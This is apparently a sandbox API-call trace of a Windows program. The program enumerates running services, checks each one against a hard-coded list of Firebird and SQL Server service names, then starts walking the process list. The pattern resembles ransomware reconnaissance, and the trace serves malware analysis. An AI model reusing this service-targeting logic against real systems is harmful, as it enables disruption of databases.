	[0062.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ea48
	[0062.228] EnumServicesStatusExW (in: hSCManager=0x75ea48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0062.236] GetLastError () returned 0xea
	[0062.236] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x3e90678
	[0062.236] EnumServicesStatusExW (in: hSCManager=0x75ea48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e90678, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e90678, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0062.252] CloseServiceHandle (hSCObject=0x75ea48) returned 1
	[0062.254] lstrlenW (lpString="Appinfo") returned 7
	[0062.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0062.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0062.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0062.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0062.255] lstrlenW (lpString="AppXSvc") returned 7
	[0062.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0062.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0062.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0062.255] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0062.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0062.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0062.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0062.255] lstrlenW (lpString="Audiosrv") returned 8
	[0062.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0062.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0062.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0062.255] lstrlenW (lpString="BFE") returned 3
	[0062.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0062.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0062.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0062.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0062.255] lstrlenW (lpString="BITS") returned 4
	[0062.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0062.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0062.256] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0062.256] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0062.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0062.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0062.256] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0062.256] lstrlenW (lpString="CDPSvc") returned 6
	[0062.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0062.256] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0062.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0062.256] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0062.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0062.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0062.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0062.256] lstrlenW (lpString="CryptSvc") returned 8
	[0062.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0062.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0062.256] lstrlenW (lpString="DcomLaunch") returned 10
	[0062.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0062.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0062.257] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0062.257] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0062.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0062.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0062.257] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0062.257] lstrlenW (lpString="Dhcp") returned 4
	[0062.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0062.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0062.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0062.257] lstrlenW (lpString="Dnscache") returned 8
	[0062.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0062.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0062.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0062.257] lstrlenW (lpString="DoSvc") returned 5
	[0062.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0062.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0062.257] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0062.257] lstrlenW (lpString="DPS") returned 3
	[0062.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0062.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0062.257] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0062.257] lstrlenW (lpString="DusmSvc") returned 7
	[0062.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0062.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0062.257] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0062.258] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0062.258] lstrlenW (lpString="EventLog") returned 8
	[0062.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0062.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0062.258] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0062.258] lstrlenW (lpString="EventSystem") returned 11
	[0062.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0062.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0062.258] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0062.258] lstrlenW (lpString="FontCache") returned 9
	[0062.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0062.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0062.258] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0062.258] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0062.258] lstrlenW (lpString="gpsvc") returned 5
	[0062.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0062.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0062.258] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0062.258] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0062.258] lstrlenW (lpString="iphlpsvc") returned 8
	[0062.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0062.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0062.258] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0062.258] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0062.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0062.258] lstrlenW (lpString="KeyIso") returned 6
	[0062.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0062.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0062.258] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0062.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0062.259] lstrlenW (lpString="LanmanServer") returned 12
	[0062.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0062.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0062.259] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0062.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0062.259] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0062.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0062.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0062.259] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0062.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0062.259] lstrlenW (lpString="lfsvc") returned 5
	[0062.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0062.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0062.259] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0062.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0062.259] lstrlenW (lpString="lmhosts") returned 7
	[0062.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0062.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0062.259] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0062.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0062.259] lstrlenW (lpString="LSM") returned 3
	[0062.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0062.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0062.259] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0062.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0062.259] lstrlenW (lpString="MapsBroker") returned 10
	[0062.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0062.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0062.259] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0062.259] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0062.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0062.260] lstrlenW (lpString="MpsSvc") returned 6
	[0062.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0062.260] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0062.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0062.260] lstrlenW (lpString="NcbService") returned 10
	[0062.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0062.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0062.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0062.260] lstrlenW (lpString="netprofm") returned 8
	[0062.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0062.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0062.260] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0062.260] lstrlenW (lpString="NlaSvc") returned 6
	[0062.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0062.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0062.260] lstrlenW (lpString="nsi") returned 3
	[0062.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0062.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0062.260] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0062.260] lstrlenW (lpString="PcaSvc") returned 6
	[0062.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0062.260] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0062.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0062.261] lstrlenW (lpString="PlugPlay") returned 8
	[0062.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0062.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0062.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0062.261] lstrlenW (lpString="Power") returned 5
	[0062.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0062.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0062.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0062.261] lstrlenW (lpString="ProfSvc") returned 7
	[0062.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0062.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0062.261] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0062.261] lstrlenW (lpString="RpcEptMapper") returned 12
	[0062.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0062.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0062.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0062.261] lstrlenW (lpString="RpcSs") returned 5
	[0062.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0062.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0062.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0062.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0062.261] lstrlenW (lpString="SamSs") returned 5
	[0062.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0062.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0062.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0062.262] lstrlenW (lpString="Schedule") returned 8
	[0062.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0062.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0062.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0062.262] lstrlenW (lpString="SecurityHealthService") returned 21
	[0062.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0062.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0062.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0062.262] lstrlenW (lpString="SENS") returned 4
	[0062.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0062.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0062.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0062.262] lstrlenW (lpString="ShellHWDetection") returned 16
	[0062.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0062.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0062.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0062.262] lstrlenW (lpString="Spooler") returned 7
	[0062.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0062.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0062.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0062.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0062.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0062.263] lstrlenW (lpString="SSDPSRV") returned 7
	[0062.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0062.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0062.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0062.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0062.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0062.263] lstrlenW (lpString="StateRepository") returned 15
	[0062.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0062.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0062.263] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0062.263] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0062.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0062.263] lstrlenW (lpString="SysMain") returned 7
	[0062.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0062.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0062.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0062.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0062.263] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e90678 | out: hHeap=0x720000) returned 1
	[0062.263] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8
	[0062.275] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0062.275] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0062.276] lstrlenW (lpString="System") returned 6
	[0062.276] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0062.276] lstrlenW (lpString="smss.exe") returned 8
